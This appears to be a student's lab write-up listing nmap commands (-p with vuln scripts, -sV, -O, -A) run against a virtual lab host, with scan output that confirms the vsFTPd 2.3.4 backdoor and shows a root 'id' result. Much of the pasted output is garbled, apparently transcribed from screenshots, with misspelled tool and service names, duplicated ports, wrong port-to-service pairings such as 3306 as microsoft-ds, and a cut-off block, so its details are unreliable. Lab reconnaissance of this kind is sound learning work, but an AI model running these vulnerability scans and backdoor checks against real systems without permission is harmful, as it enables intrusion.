## 4) PERFORM THE FOLLOWING NMAP COMMANDS

## Sol:-

1)nmap -p

The "-p" flag is used with nmap to perform scan on a specific port or range of ports

```
root@kali: ~
 File Actions Edit View Help
root⊗ kali)-[~]

# nmap -p 21 --script vuln 192.168.137.178

Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-13 18:22 IST
Nmap scan report for 192.168.137.178
Host is up (0.0020s latency).
PORT STATE SERVICE
21/tcp open ftp
| ftp-vsftpd-backdoor:
     VULNERABLE:
     vsFTPd version 2.3.4 backdoor
State: VULNERABLE (Exploitable)
       IDs: CVE:CVE-2011-2523 BID:48539
vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.
Disclosure date: 2011-07-03
        Exploit results:
Shell command: id
          Results: uid=0(root) gid=0(root)
           https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523
          https://www.securityfocus.com/bid/48539 https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
          http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
MAC Address: 08:00:27:03:66:1A (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 11.79 seconds
```

## 2)nmap -sV

-sV -This switch tells Nmap to perform version detection of the services running on open ports

```
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```

It can be defined as the TCP connect scan, which means Nmap will try to establish the TCP connection with the target to get the ports' status.

```
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Starting Namap - 3: 192.168.137.178

Starting Namap - 3: 192.168.137.178

Namap scan report for 192.168.137.178

Not shown: 977 closed tcp ports (conn-refused)

PORT STATE SERVICE
21/tcp open ftp

22/tcp open sch

23/tcp open sch

23/tcp open domain

80/tcp open nethios-ssn

445/tcp open microsoft-ds

512/tcp open sch

512/tcp open sch
```

## 4)nmap -O

The command will just guess the running operating system (OS) on the host.

```
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Immap - 0.192_168.137.178

Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-13 18:39 IST

Nmap scan report for 192_168.137.178

Host is up (0.0016s latency).

Not shown: 977 closed tcp ports (reset)

PORKT STATE SERVICE
21/tcp open ftp

22/tcp open sash

23/tcp open domain

80/tcp open metrios-sn

465/tcp open microsoft-ds

513/tcp open microsoft-ds

513/tcp open microsoft-ds

513/tcp open shill

1099/tcp open microsoft-ds

513/tcp open postgread

465/tcp open microsoft-ds

513/tcp open postgread

3306/tcp open microsoft-ds

513/tcp open postgread

3306/tcp op
```

5)nmap -A

It will give us extra information, like OS detection (-O), version detection, script scanning (-sC), and traceroute (-traceroute)